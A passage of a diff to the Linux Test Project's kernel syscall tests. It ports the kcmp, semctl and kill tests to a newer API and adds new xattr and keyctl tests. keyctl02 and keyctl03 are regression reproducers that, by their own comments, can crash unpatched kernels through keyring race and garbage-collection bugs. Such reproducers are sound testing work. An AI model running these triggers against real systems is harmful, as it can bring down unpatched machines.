-						 "maxsemvals");
-				}
-			}
-			if (self_exec(argv0, "dS", id, maxsemstring) < 0) {
-				tst_resm(TFAIL, "\tself_exec failed");
-			}
-#else
+		if (pid == 0)
 			dosemas(id);
-#endif
-		}
 		if (pid > 0) {
 			kidarray[i] = pid;
 			nwait++;
@@ -285,30 +254,6 @@
 		exit(1);
 }
 
-#ifdef UCLINUX
-void do_child(void)
-{
-	int i;
-	char *tok;
-	char *endptr;
-
-	tok = strtok(maxsemstring, ":");
-	for (i = 0; i < NSEMS; i++) {
-		if (strlen(tok) == 0) {
-			tst_brkm(TBROK, NULL, "Invalid argument to -C option");
-		}
-
-		maxsemvals[i] = strtol(tok, &endptr, 10);
-		if (*endptr != '\0') {
-			tst_brkm(TBROK, NULL, "Invalid argument to -C option");
-		}
-		tok = strtok(NULL, ":");
-	}
-
-	dosemas(id_uclinux);
-}
-#endif
-
 static void dosemas(int id)
 {
 	int i, j;
diff --git a/testcases/kernel/syscalls/ipc/semctl/semctl07.c b/testcases/kernel/syscalls/ipc/semctl/semctl07.c
index 3cc1eff..5d7fad3 100644
--- a/testcases/kernel/syscalls/ipc/semctl/semctl07.c
+++ b/testcases/kernel/syscalls/ipc/semctl/semctl07.c
@@ -44,7 +44,7 @@
 #include <signal.h>
 #include <errno.h>
 #include <stdio.h>
-#include <wait.h>
+#include <sys/wait.h>
 #include "ipcsem.h"
 #include "test.h"
 
@@ -61,9 +61,10 @@
 {
 	int status;
 	struct semid_ds buf_ds;
-
 	union semun arg;
 
+	tst_parse_opts(argc, argv, NULL, NULL);
+
 	setup();
 
 	arg.buf = &buf_ds;
diff --git a/testcases/kernel/syscalls/kcmp/kcmp.h b/testcases/kernel/syscalls/kcmp/kcmp.h
index 513af39..ab50d4b 100644
--- a/testcases/kernel/syscalls/kcmp/kcmp.h
+++ b/testcases/kernel/syscalls/kcmp/kcmp.h
@@ -46,7 +46,7 @@
 
 int kcmp(int pid1, int pid2, int type, int fd1, int fd2)
 {
-	return ltp_syscall(__NR_kcmp, pid1, pid2, type, fd1, fd2);
+	return tst_syscall(__NR_kcmp, pid1, pid2, type, fd1, fd2);
 }
 
 #endif
diff --git a/testcases/kernel/syscalls/kcmp/kcmp01.c b/testcases/kernel/syscalls/kcmp/kcmp01.c
index 96d6b07..0aa4da6 100644
--- a/testcases/kernel/syscalls/kcmp/kcmp01.c
+++ b/testcases/kernel/syscalls/kcmp/kcmp01.c
@@ -26,23 +26,19 @@
 
 #define _GNU_SOURCE
 
-#include "test.h"
-#include "safe_macros.h"
+#include "tst_test.h"
 #include "lapi/fcntl.h"
 #include "kcmp.h"
 
 #define TEST_FILE "test_file"
 #define TEST_FILE2 "test_file2"
 
-
 static int fd1;
 static int fd2;
 static int fd3;
 static int pid1;
 static int pid2;
 
-char *TCID = "kcmp01";
-
 static struct test_case {
 	int *pid1;
 	int *pid2;
@@ -58,92 +54,69 @@
 	{&pid1, &pid2, KCMP_FILE, &fd1, &fd3, 1},
 };
 
-int TST_TOTAL = ARRAY_SIZE(test_cases);
-
-static void cleanup(void);
-static void setup(void);
-static void do_child(const struct test_case *test);
-static void cleanup_child(void);
-
-int main(int ac, char **av)
+static void setup(void)
 {
-	int lc;
-	int i;
+	fd1 = SAFE_OPEN(TEST_FILE, O_CREAT | O_RDWR | O_TRUNC);
+}
 
-	tst_parse_opts(ac, av, NULL, NULL);
-	setup();
-
-	for (lc = 0; TEST_LOOPING(lc); lc++) {
-		tst_count = 0;
-
-		for (i = 0; i < TST_TOTAL; ++i) {
-			pid2 = tst_fork();
-
-			if (pid2 == -1)
-				tst_brkm(TBROK, cleanup, "fork failed");
-
-			if (!pid2)
-				do_child(&test_cases[i]);
-			else
-				tst_record_childstatus(cleanup, pid2);
-			tst_count++;
-		}
-	}
-
-	cleanup();
-	tst_exit();
+static void cleanup(void)
+{
+	if (fd1 > 0)
+		SAFE_CLOSE(fd1);
 }
 
 static void do_child(const struct test_case *test)
 {
 	pid2 = getpid();
+
+	fd3 = SAFE_OPEN(TEST_FILE2, O_CREAT | O_RDWR, 0666);
+
 	fd2 = dup(fd1);
-	fd3 = SAFE_OPEN(cleanup_child, TEST_FILE2, O_CREAT | O_RDWR, 0666);
-
-	TEST(kcmp(*(test->pid1), *(test->pid2), test->type,
-			  *(test->fd1), *(test->fd2)));
-
-	if (TEST_RETURN == -1)
-		tst_resm(TFAIL | TTERRNO, "kcmp() failed unexpectedly");
-
-	if ((test->exp_different && TEST_RETURN == 0)
-		|| (test->exp_different == 0 && TEST_RETURN))
-		tst_resm(TFAIL, "kcmp() returned %lu instead of %d",
-				TEST_RETURN, test->exp_different);
-
-	if ((test->exp_different == 0 && TEST_RETURN == 0)
-		|| (test->exp_different && TEST_RETURN))
-		tst_resm(TPASS, "kcmp() returned the expected value");
-
-	tst_exit();
-}
-
-static void cleanup_child(void)
-{
-	if (fd2 > 0 && close(fd2) < 0)
-		tst_resm(TWARN | TERRNO, "close fd2 failed");
-	fd2 = 0;
-	if (fd3 > 0 && close(fd3) < 0)
-		tst_resm(TWARN | TERRNO, "close fd3 failed");
-	fd3 = 0;
-}
-
-static void setup(void)
-{
-	if ((tst_kvercmp(3, 5, 0)) < 0) {
-		tst_brkm(TCONF, NULL,
-			"This test can only run on kernels that are 3.5. and higher");
+	if (fd2 == -1) {
+		tst_res(TFAIL | TERRNO, "dup() failed unexpectedly");
+		SAFE_CLOSE(fd3);
+		return;
 	}
 
-	tst_tmpdir();
+	TEST(kcmp(*(test->pid1), *(test->pid2), test->type,
+		  *(test->fd1), *(test->fd2)));
+
+	SAFE_CLOSE(fd2);
+	SAFE_CLOSE(fd3);
+
+	if (TEST_RETURN == -1) {
+		tst_res(TFAIL | TTERRNO, "kcmp() failed unexpectedly");
+		return;
+	}
+
+	if ((test->exp_different && TEST_RETURN == 0)
+		|| (test->exp_different == 0 && TEST_RETURN)) {
+		tst_res(TFAIL, "kcmp() returned %lu instead of %d",
+			TEST_RETURN, test->exp_different);
+		return;
+	}
+
+	tst_res(TPASS, "kcmp() returned the expected value");
+}
+
+static void verify_kcmp(unsigned int n)
+{
+	struct test_case *tc = &test_cases[n];
 
 	pid1 = getpid();
-	fd1 = SAFE_OPEN(cleanup, TEST_FILE, O_CREAT | O_RDWR | O_TRUNC);
+
+	pid2 = SAFE_FORK();
+	if (!pid2)
+		do_child(tc);
 }
 
-static void cleanup(void)
-{
-	if (fd1 > 0 && close(fd1) < 0)
-		tst_resm(TWARN | TERRNO, "close fd1 failed");
-	tst_rmdir();
-}
+static struct tst_test test = {
+	.tid = "kcmp01",
+	.tcnt = ARRAY_SIZE(test_cases),
+	.setup = setup,
+	.cleanup = cleanup,
+	.forks_child = 1,
+	.test = verify_kcmp,
+	.min_kver = "3.5.0",
+	.needs_tmpdir = 1,
+};
diff --git a/testcases/kernel/syscalls/kcmp/kcmp02.c b/testcases/kernel/syscalls/kcmp/kcmp02.c
index fb651d0..ad0b09d 100644
--- a/testcases/kernel/syscalls/kcmp/kcmp02.c
+++ b/testcases/kernel/syscalls/kcmp/kcmp02.c
@@ -28,8 +28,7 @@
 
 #define _GNU_SOURCE
 
-#include "test.h"
-#include "safe_macros.h"
+#include "tst_test.h"
 #include "lapi/fcntl.h"
 #include "kcmp.h"
 
@@ -43,10 +42,9 @@
 static int pid_unused;
 static int fd_fake = -1;
 
-char *TCID = "kcmp02";
-
 #include <sys/types.h>
 #include <sys/wait.h>
+#include <limits.h>
 
 static struct test_case {
 	int *pid1;
@@ -64,75 +62,52 @@
 	{&pid1, &pid1, KCMP_FILE, &fd1, &fd_fake, EBADF}
 };
 
-int TST_TOTAL = ARRAY_SIZE(test_cases);
-
-static void cleanup(void);
-static void setup(void);
-static void kcmp_verify(const struct test_case *test);
-
-int main(int ac, char **av)
-{
-	int lc;
-	int i;
-
-	tst_parse_opts(ac, av, NULL, NULL);
-	setup();
-
-	for (lc = 0; TEST_LOOPING(lc); lc++) {
-		tst_count = 0;
-
-		for (i = 0; i < TST_TOTAL; i++)
-			kcmp_verify(&test_cases[i]);
-
-	}
-
-	cleanup();
-	tst_exit();
-}
-
-static void kcmp_verify(const struct test_case *test)
-{
-	TEST(kcmp(*(test->pid1), *(test->pid2), test->type,
-			  *(test->fd1), *(test->fd2)));
-
-	if (TEST_RETURN != -1) {
-		tst_resm(TFAIL, "kcmp() succeeded unexpectedly");
-		return;
-	}
-
-	if (test->exp_errno == TEST_ERRNO) {
-		tst_resm(TPASS | TTERRNO, "kcmp() returned the expected value");
-		return;
-	}
-
-	tst_resm(TFAIL | TTERRNO,
-		"kcmp() got unexpected return value: expected: %d - %s",
-			test->exp_errno, tst_strerrno(test->exp_errno));
-}
-
 static void setup(void)
 {
-	if ((tst_kvercmp(3, 5, 0)) < 0) {
-		tst_brkm(TCONF, NULL,
-			"This test can only run on kernels that are 3.5. and higher");
-	}
-
-	tst_tmpdir();
-
 	pid1 = getpid();
-	pid_unused = tst_get_unused_pid(cleanup);
-	fd1 = SAFE_OPEN(cleanup, TEST_FILE, O_CREAT | O_RDWR | O_TRUNC);
-	fd2 = SAFE_OPEN(cleanup, TEST_FILE2, O_CREAT | O_RDWR | O_TRUNC);
+	pid_unused = tst_get_unused_pid();
 
+	fd1 = SAFE_OPEN(TEST_FILE, O_CREAT | O_RDWR | O_TRUNC);
+	fd2 = SAFE_OPEN(TEST_FILE2, O_CREAT | O_RDWR | O_TRUNC);
 }
 
 static void cleanup(void)
 {
-	if (fd1 > 0 && close(fd1) < 0)
-		tst_resm(TWARN | TERRNO, "close fd1 failed");
+	if (fd1 > 0)
+		SAFE_CLOSE(fd1);
 
-	if (fd2 > 0 && close(fd2) < 0)
-		tst_resm(TWARN | TERRNO, "close fd2 failed");
-	tst_rmdir();
-
+	if (fd2 > 0)
+		SAFE_CLOSE(fd2);
 }
+
+static void verify_kcmp(unsigned int n)
+{
+	struct test_case *test = &test_cases[n];
+
+	TEST(kcmp(*(test->pid1), *(test->pid2), test->type,
+		  *(test->fd1), *(test->fd2)));
+
+	if (TEST_RETURN != -1) {
+		tst_res(TFAIL, "kcmp() succeeded unexpectedly");
+		return;
+	}
+
+	if (test->exp_errno == TEST_ERRNO) {
+		tst_res(TPASS | TTERRNO, "kcmp() returned the expected value");
+		return;
+	}
+
+	tst_res(TFAIL | TTERRNO,
+		"kcmp() got unexpected return value: expected: %d - %s",
+			test->exp_errno, tst_strerrno(test->exp_errno));
+}
+
+static struct tst_test test = {
+	.tid = "kcmp02",
+	.tcnt = ARRAY_SIZE(test_cases),
+	.setup = setup,
+	.cleanup = cleanup,
+	.test = verify_kcmp,
+	.min_kver = "3.5.0",
+	.needs_tmpdir = 1
+};
diff --git a/testcases/kernel/syscalls/kcmp/kcmp03.c b/testcases/kernel/syscalls/kcmp/kcmp03.c
new file mode 100644
index 0000000..d64ea2c
--- /dev/null
+++ b/testcases/kernel/syscalls/kcmp/kcmp03.c
@@ -0,0 +1,105 @@
+/*
+ * Copyright (c) 2016 Xiao Yang <yangx.jy@cn.fujitsu.com>
+ *
+ * This program is free software; you can redistribute it and/or
+ * modify it under the terms of the GNU General Public License as
+ * published by the Free Software Foundation; either version 2 of
+ * the License, or (at your option) any later version.
+ *
+ * This program is distributed in the hope that it would be useful,
+ * but WITHOUT ANY WARRANTY; without even the implied warranty of
+ * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+ * GNU General Public License for more details.
+ *
+ * You should have received a copy of the GNU General Public License
+ * along with this program.
+ */
+
+ /*
+ * Testname: kcmp03.c
+ *
+ * Description:
+ * 1) kcmp() returns 0 if the processes share the same file system information.
+ * 2) kcmp() returns 0 if the processes share I/O context.
+ * 3) kcmp() returns 0 if the processes share the same list of System V
+ *    semaphore undo operations.
+ * 4) kcmp() returns 0 if the processes share the same address space.
+ */
+
+#define _GNU_SOURCE
+
+#include <errno.h>
+#include <stdlib.h>
+#include <sched.h>
+#include <sys/wait.h>
+#include "tst_test.h"
+#include "kcmp.h"
+#include "lapi/sched.h"
+
+#define STACK_SIZE	(1024*1024)
+
+static int pid1;
+static int pid2;
+static void *stack;
+
+static struct tcase {
+	int clone_type;
+	int kcmp_type;
+} tcases[] = {
+	{CLONE_VM, KCMP_VM},
+	{CLONE_FS, KCMP_FS},
+	{CLONE_IO, KCMP_IO},
+	{CLONE_SYSVSEM, KCMP_SYSVSEM}
+};
+
+static void setup(void)
+{
+	stack = SAFE_MALLOC(STACK_SIZE);
+}
+
+static void cleanup(void)
+{
+	free(stack);
+}
+
+static int do_child(void *arg)
+{
+	pid2 = getpid();
+
+	TEST(kcmp(pid1, pid2, *(int *)arg, 0, 0));
+	if (TEST_RETURN == -1) {
+		tst_res(TFAIL | TTERRNO, "kcmp() failed unexpectedly");
+		return 0;
+	}
+
+	if (TEST_RETURN == 0)
+		tst_res(TPASS, "kcmp() returned the expected value");
+	else
+		tst_res(TFAIL, "kcmp() returned the unexpected value");
+
+	return 0;
+}
+
+static void verify_kcmp(unsigned int n)
+{
+	int res;
+
+	struct tcase *tc = &tcases[n];
+
+	pid1 = getpid();
+
+	res = ltp_clone(tc->clone_type | SIGCHLD, do_child, &tc->kcmp_type,
+			STACK_SIZE, stack);
+	if (res == -1)
+		tst_res(TFAIL | TERRNO, "clone() Failed");
+}
+
+static struct tst_test test = {
+	.tid = "kcmp03",
+	.tcnt = ARRAY_SIZE(tcases),
+	.setup = setup,
+	.cleanup = cleanup,
+	.forks_child = 1,
+	.test = verify_kcmp,
+	.min_kver = "3.5.0"
+};
diff --git a/testcases/kernel/syscalls/keyctl/Makefile b/testcases/kernel/syscalls/keyctl/Makefile
index 2ef86f0..bb3d3a4 100644
--- a/testcases/kernel/syscalls/keyctl/Makefile
+++ b/testcases/kernel/syscalls/keyctl/Makefile
@@ -18,6 +18,9 @@
 
 top_srcdir		?= ../../../..
 
+keyctl02: LDLIBS	+=-lpthread $(KEYUTILS_LIBS)
+keyctl03: LDLIBS	+=$(KEYUTILS_LIBS)
+
 include $(top_srcdir)/include/mk/testcases.mk
 
 include $(top_srcdir)/include/mk/generic_leaf_target.mk
diff --git a/testcases/kernel/syscalls/keyctl/keyctl02.c b/testcases/kernel/syscalls/keyctl/keyctl02.c
new file mode 100644
index 0000000..aa98822
--- /dev/null
+++ b/testcases/kernel/syscalls/keyctl/keyctl02.c
@@ -0,0 +1,126 @@
+/*
+ * Copyright (c) 2017 Fujitsu Ltd.
+ *  Ported: Guangwen Feng <fenggw-fnst@cn.fujitsu.com>
+ *
+ * This program is free software: you can redistribute it and/or modify
+ * it under the terms of the GNU General Public License as published by
+ * the Free Software Foundation, either version 2 of the License, or
+ * (at your option) any later version.
+ *
+ * This program is distributed in the hope that it will be useful,
+ * but WITHOUT ANY WARRANTY; without even the implied warranty of
+ * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+ * GNU General Public License for more details.
+ *
+ * You should have received a copy of the GNU General Public License
+ * along with this program, if not, see <http://www.gnu.org/licenses/>.
+ */
+
+/*
+ * This is a regression test for the race between keyctl_read() and
+ * keyctl_revoke(), if the revoke happens between keyctl_read()
+ * checking the validity of a key and the key's semaphore being taken,
+ * then the key type read method will see a revoked key.
+ *
+ * This causes a problem for the user-defined key type because it
+ * assumes in its read method that there will always be a payload
+ * in a non-revoked key and doesn't check for a NULL pointer.
+ *
+ * This test can crash the buggy kernel, and the bug was fixed in:
+ *
+ *  commit b4a1b4f5047e4f54e194681125c74c0aa64d637d
+ *  Author: David Howells <dhowells@redhat.com>
+ *  Date:   Fri Dec 18 01:34:26 2015 +0000
+ *
+ *  KEYS: Fix race between read and revoke
+ */
+
+#include "config.h"
+#include <errno.h>
+#include <pthread.h>
+#include <sys/types.h>
+#ifdef HAVE_KEYUTILS_H
+# include <keyutils.h>
+#endif
+#include "tst_safe_pthread.h"
+#include "tst_test.h"
+
+#ifdef HAVE_KEYUTILS_H
+
+#define LOOPS	20000
+#define PATH_KEY_COUNT_QUOTA	"/proc/sys/kernel/keys/root_maxkeys"
+
+static int orig_maxkeys;
+
+static void *do_read(void *arg)
+{
+	key_serial_t key = (unsigned long)arg;
+	char buffer[4] = { 0 };
+
+	keyctl(KEYCTL_READ, key, buffer, 4);
+
+	return NULL;
+}
+
+static void *do_revoke(void *arg)
+{
+	key_serial_t key = (unsigned long)arg;
+
+	keyctl(KEYCTL_REVOKE, key);
+
+	return NULL;
+}
+
+static void do_test(void)
+{
+	int i;
+	key_serial_t key;
+	pthread_t pth[4];
+
+	for (i = 0; i < LOOPS; i++) {
+		key = add_key("user", "ltptestkey", "foo", 3,
+			KEY_SPEC_PROCESS_KEYRING);
+		if (key == -1)
+			tst_brk(TBROK | TERRNO, "Failed to add key");
+
+		SAFE_PTHREAD_CREATE(&pth[0], NULL, do_read,
+			(void *)(unsigned long)key);
+		SAFE_PTHREAD_CREATE(&pth[1], NULL, do_revoke,
+			(void *)(unsigned long)key);
+		SAFE_PTHREAD_CREATE(&pth[2], NULL, do_read,
+			(void *)(unsigned long)key);
+		SAFE_PTHREAD_CREATE(&pth[3], NULL, do_revoke,
+			(void *)(unsigned long)key);
+
+		SAFE_PTHREAD_JOIN(pth[0], NULL);
+		SAFE_PTHREAD_JOIN(pth[1], NULL);
+		SAFE_PTHREAD_JOIN(pth[2], NULL);
+		SAFE_PTHREAD_JOIN(pth[3], NULL);
+	}
+
+	tst_res(TPASS, "Bug not reproduced");
+}
+
+static void setup(void)
+{
+	SAFE_FILE_SCANF(PATH_KEY_COUNT_QUOTA, "%d", &orig_maxkeys);
+	SAFE_FILE_PRINTF(PATH_KEY_COUNT_QUOTA, "%d", orig_maxkeys + LOOPS);
+}
+
+static void cleanup(void)
+{
+	if (orig_maxkeys > 0)
+		SAFE_FILE_PRINTF(PATH_KEY_COUNT_QUOTA, "%d", orig_maxkeys);
+}
+
+static struct tst_test test = {
+	.tid = "keyctl02",
+	.needs_root = 1,
+	.setup = setup,
+	.cleanup = cleanup,
+	.test_all = do_test,
+};
+
+#else
+	TST_TEST_TCONF("keyutils.h does not exist");
+#endif /* HAVE_KEYUTILS_H */
diff --git a/testcases/kernel/syscalls/keyctl/keyctl03.c b/testcases/kernel/syscalls/keyctl/keyctl03.c
new file mode 100644
index 0000000..83d5dcb
--- /dev/null
+++ b/testcases/kernel/syscalls/keyctl/keyctl03.c
@@ -0,0 +1,65 @@
+/*
+ * Copyright (c) 2017 Fujitsu Ltd.
+ *  Ported: Guangwen Feng <fenggw-fnst@cn.fujitsu.com>
+ *
+ * This program is free software: you can redistribute it and/or modify
+ * it under the terms of the GNU General Public License as published by
+ * the Free Software Foundation, either version 2 of the License, or
+ * (at your option) any later version.
+ *
+ * This program is distributed in the hope that it will be useful,
+ * but WITHOUT ANY WARRANTY; without even the implied warranty of
+ * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+ * GNU General Public License for more details.
+ *
+ * You should have received a copy of the GNU General Public License
+ * along with this program, if not, see <http://www.gnu.org/licenses/>.
+ */
+
+/*
+ * This regression test can crash the buggy kernel,
+ * and the bug was fixed in:
+ *
+ *  commit f05819df10d7b09f6d1eb6f8534a8f68e5a4fe61
+ *  Author: David Howells <dhowells@redhat.com>
+ *  Date:   Thu Oct 15 17:21:37 2015 +0100
+ *
+ *  KEYS: Fix crash when attempt to garbage collect
+ *        an uninstantiated keyring
+ */
+
+#include "config.h"
+#include <errno.h>
+#include <sys/types.h>
+#ifdef HAVE_KEYUTILS_H
+# include <keyutils.h>
+#endif
+#include "tst_test.h"
+
+#ifdef HAVE_KEYUTILS_H
+
+static void do_test(void)
+{
+	key_serial_t key;
+
+	key = add_key("user", "ltptestkey", "a", 1, KEY_SPEC_SESSION_KEYRING);
+	if (key == -1)
+		tst_brk(TBROK, "Failed to add key");
+
+	request_key("keyring", "foo", "bar", KEY_SPEC_THREAD_KEYRING);
+
+	TEST(keyctl(KEYCTL_UNLINK, key, KEY_SPEC_SESSION_KEYRING));
+	if (TEST_RETURN)
+		tst_res(TFAIL | TTERRNO, "keyctl unlink failed");
+	else
+		tst_res(TPASS, "Bug not reproduced");
+}
+
+static struct tst_test test = {
+	.tid = "keyctl03",
+	.test_all = do_test,
+};
+
+#else
+	TST_TEST_TCONF("keyutils.h does not exist");
+#endif /* HAVE_KEYUTILS_H */
diff --git a/testcases/kernel/syscalls/kill/kill02.c b/testcases/kernel/syscalls/kill/kill02.c
index 9d6cc68..08360dd 100644
--- a/testcases/kernel/syscalls/kill/kill02.c
+++ b/testcases/kernel/syscalls/kill/kill02.c
@@ -701,7 +701,7 @@
 
 	/*
 	 *  Set to catch unexpected signals.
-	 *  SIGCLD is set to be ignored because we do not wait for termination status.
+	 *  SIGCHLD is set to be ignored because we do not wait for termination status.
 	 *  SIGUSR1 is set to be ignored because this is the signal we are using for
 	 *  the test and we are not concerned with the parent getting it.
 	 */
@@ -713,9 +713,9 @@
 			 "signal(SIGUSR1, SIG_IGN) failed");
 	}
 
-	if (signal(SIGCLD, SIG_IGN) == SIG_ERR) {
+	if (signal(SIGCHLD, SIG_IGN) == SIG_ERR) {
 		tst_brkm(TBROK | TERRNO, NULL,
-			 "signal(SIGCLD, SIG_IGN) failed");
+			 "signal(SIGCHLD, SIG_IGN) failed");
 	}
 
 	TEST_PAUSE;
diff --git a/testcases/kernel/syscalls/kill/kill12.c b/testcases/kernel/syscalls/kill/kill12.c
index 7a47a4a..8ab641d 100644
--- a/testcases/kernel/syscalls/kill/kill12.c
+++ b/testcases/kernel/syscalls/kill/kill12.c
@@ -25,8 +25,8 @@
 /*======================================================================
 >KEYS:  < kill(), wait(), signal()
 >WHAT:  < Check that when a child is killed by its parent, it returns the
-   	< correct values to the waiting parent--the child sets signal to
-   	< ignore the kill
+	< correct values to the waiting parent--the child sets signal to
+	< ignore the kill
 >HOW:   < For each signal: Send that signal to a child that has elected
 	< to catch the signal, check that the correct status was returned
 	< to the waiting parent.
@@ -46,8 +46,6 @@
 #include <sys/wait.h>
 #include <errno.h>
 
-//char progname[] = "kill2()";
-/*****  LTP Port        *****/
 #include "test.h"
 #define ITER    3
 #define FAILED 0
@@ -71,34 +69,24 @@
 int forkfail();
 void do_child();
 
-/*****  **      **      *****/
-
 int chflag;
 
-/*--------------------------------------------------------------------*/
 int main(int argc, char **argv)
 {
-/***** BEGINNING OF MAIN. *****/
 	int pid, npid;
 	int nsig, exno, nexno, status;
 	int ret_val = 0;
 	int core;
 	void chsig();
 
-#ifdef UCLINUX
-
 	tst_parse_opts(argc, argv, NULL, NULL);
 
-	maybe_run_child(&do_child, "dd", &temp, &sig);
-#endif
-
 	setup();
-	//tempdir();            /* move to new directory */ 12/20/2003
 	blenter();
 
 	exno = 1;
 
-	if (sigset(SIGCLD, chsig) == SIG_ERR) {
+	if (sigset(SIGCHLD, chsig) == SIG_ERR) {
 		fprintf(temp, "\tsigset failed, errno = %d\n", errno);
 		fail_exit();
 	}
@@ -113,14 +101,7 @@
 		}
 
 		if (pid == 0) {
-#ifdef UCLINUX
-			if (self_exec(argv[0], "dd", temp, sig) < 0) {
-				tst_brkm(TBROK, NULL, "self_exec FAILED - "
-					 "terminating test.");
-			}
-#else
 			do_child();
-#endif
 		} else {
 			//fprintf(temp, "Testing signal %d\n", sig);
 
@@ -128,7 +109,7 @@
 				sleep(1);
 
 			kill(pid, sig);	/* child should ignroe this sig */
-			kill(pid, SIGCLD);	/* child should exit */
+			kill(pid, SIGCHLD);	/* child should exit */
 
 #ifdef BCS
 			while ((npid = wait(&status)) != pid
@@ -196,19 +177,15 @@
 	if (ret_val)
 		local_flag = FAILED;
 
-/*--------------------------------------------------------------------*/
 	anyfail();
 	tst_exit();
-}					/******** END OF MAIN. ********/
-
-/*--------------------------------------------------------------------*/
+}
 
 void chsig(void)
 {
 	chflag++;
 }
 
-/****** LTP Port        *****/
 int anyfail(void)
 {
 	(local_flag == FAILED) ? tst_resm(TFAIL,
@@ -221,15 +198,8 @@
 {
 	int exno = 1;
 
-#ifdef UCLINUX
-	if (sigset(SIGCLD, chsig) == SIG_ERR) {
-		fprintf(temp, "\tsigset failed, errno = %d\n", errno);
-		fail_exit();
-	}
-#endif
-
 	sigset(sig, SIG_IGN);	/* set to ignore signal */
-	kill(getppid(), SIGCLD);	/* tell parent we are ready */
+	kill(getppid(), SIGCHLD);	/* tell parent we are ready */
 	while (!chflag)
 		sleep(1);	/* wait for parent */
 
@@ -264,5 +234,3 @@
 {
 	tst_brkm(TBROK, NULL, "FORK FAILED - terminating test.");
 }
-
-/****** ** **   *******/
diff --git a/testcases/kernel/syscalls/lchown/lchown01.c b/testcases/kernel/syscalls/lchown/lchown01.c
index d1df60b..eaf71c7 100644
--- a/testcases/kernel/syscalls/lchown/lchown01.c
+++ b/testcases/kernel/syscalls/lchown/lchown01.c
@@ -34,7 +34,7 @@
 #include <stdio.h>
 #include <sys/types.h>
 #include <sys/stat.h>
-#include <sys/fcntl.h>
+#include <fcntl.h>
 #include <errno.h>
 #include <string.h>
 #include <signal.h>
diff --git a/testcases/kernel/syscalls/lgetxattr/Makefile b/testcases/kernel/syscalls/lgetxattr/Makefile
new file mode 100644
index 0000000..b788fed
--- /dev/null
+++ b/testcases/kernel/syscalls/lgetxattr/Makefile
@@ -0,0 +1,23 @@
+#
+# Copyright (c) 2016 Fujitsu Ltd.
+# Author: Jinbao Huang <huangjb.jy@cn.fujitsu.com>
+#
+# This program is free software;  you can redistribute it and/or modify
+# it under the terms of the GNU General Public License as published by
+# the Free Software Foundation;  either version 2 of the License, or
+# (at your option) any later version.
+#
+# This program is distributed in the hope that it will be useful,
+# but WITHOUT ANY WARRANTY;  without even the implied warranty of
+# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See
+# the GNU General Public License for more details.
+#
+# You should have received a copy of the GNU General Public License
+# along with this program.
+#
+
+top_srcdir		?= ../../../..
+
+include $(top_srcdir)/include/mk/testcases.mk
+
+include $(top_srcdir)/include/mk/generic_leaf_target.mk
diff --git a/testcases/kernel/syscalls/lgetxattr/lgetxattr01.c b/testcases/kernel/syscalls/lgetxattr/lgetxattr01.c
new file mode 100644
index 0000000..4a12f0a
--- /dev/null
+++ b/testcases/kernel/syscalls/lgetxattr/lgetxattr01.c
@@ -0,0 +1,117 @@
+/*
+* Copyright (c) 2016 Fujitsu Ltd.
+* Author: Jinbao Huang <huangjb.jy@cn.fujitsu.com>
+*
+* This program is free software; you can redistribute it and/or modify
+* it under the terms of version 2 of the GNU General Public License as
+* published by the Free Software Foundation.
+*
+* This program is distributed in the hope that it would be useful, but
+* WITHOUT ANY WARRANTY;  without even the implied warranty of
+* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.
+*
+* You should have received a copy of the GNU General Public License
+* alone with this program.
+*/
+
+/*
+* Test Name: lgetxattr01
+*
+* Description:
+* The testcase checks the basic functionality of the lgetxattr(2).
+* In the case of a symbolic link, we only get the value of the
+* extended attribute related to the link itself by name.
+*
+*/
+
+#include "config.h"
+#include <errno.h>
+#include <sys/types.h>
+#include <string.h>
+
+#ifdef HAVE_SYS_XATTR_H
+# include <sys/xattr.h>
+#endif
+
+#include "tst_test.h"
+
+#ifdef HAVE_SYS_XATTR_H
+
+#define SECURITY_KEY1   "security.ltptest1"
+#define SECURITY_KEY2   "security.ltptest2"
+#define VALUE1   "test1"
+#define VALUE2   "test2"
+
+static void set_xattr(char *path, char *key, void *value, size_t size)
+{
+	int res;
+
+	res = lsetxattr(path, key, value, size, XATTR_CREATE);
+	if (res == -1) {
+		if (errno == ENOTSUP) {
+			tst_brk(TCONF,
+				"no xattr support in fs or mounted "
+				"without user_xattr option");
+		} else {
+			tst_brk(TBROK | TERRNO, "lsetxattr(%s) failed", key);
+		}
+	}
+}
+
+static void setup(void)
+{
+	SAFE_TOUCH("testfile", 0644, NULL);
+	SAFE_SYMLINK("testfile", "symlink");
+
+	set_xattr("testfile", SECURITY_KEY1, VALUE1, strlen(VALUE1));
+	set_xattr("symlink", SECURITY_KEY2, VALUE2, strlen(VALUE2));
+}
+
+static void verify_lgetxattr(void)
+{
+	int size = 64;
+	char buf[size];
+
+	TEST(lgetxattr("symlink", SECURITY_KEY2, buf, size));
+	if (TEST_RETURN == -1) {
+		tst_res(TFAIL | TTERRNO, "lgetxattr() failed");
+		goto next;
+	}
+
+	if (TEST_RETURN != strlen(VALUE2)) {
+		tst_res(TFAIL, "lgetxattr() got unexpected value size");
+		goto next;
+	}
+
+	if (!strncmp(buf, VALUE2, TEST_RETURN))
+		tst_res(TPASS, "lgetxattr() got expected value");
+	else
+		tst_res(TFAIL, "lgetxattr() got unexpected value");
+
+next:
+	TEST(lgetxattr("symlink", SECURITY_KEY1, buf, size));
+
+	if (TEST_RETURN != -1) {
+		tst_res(TFAIL, "lgetxattr() succeeded unexpectedly");
+		return;
+	}
+
+	if (TEST_ERRNO == ENODATA) {
+		tst_res(TPASS | TTERRNO, "lgetxattr() failed as expected");
+	} else {
+		tst_res(TFAIL | TTERRNO, "lgetxattr() failed unexpectedly,"
+			"expected %s", tst_strerrno(ENODATA));
+	}
+}
+
+static struct tst_test test = {
+	.tid = "lgetxattr01",
+	.needs_tmpdir = 1,
+	.needs_root = 1,
+	.test_all = verify_lgetxattr,
+	.setup = setup
+};
+
+#else
+	TST_TEST_TCONF("<sys/xattr.h> does not exist.");
+#endif /* HAVE_SYS_XATTR_H */
diff --git a/testcases/kernel/syscalls/lgetxattr/lgetxattr02.c b/testcases/kernel/syscalls/lgetxattr/lgetxattr02.c
new file mode 100644
index 0000000..e50bd94
--- /dev/null
+++ b/testcases/kernel/syscalls/lgetxattr/lgetxattr02.c
@@ -0,0 +1,108 @@
+/*
+* Copyright (c) 2016 Fujitsu Ltd.
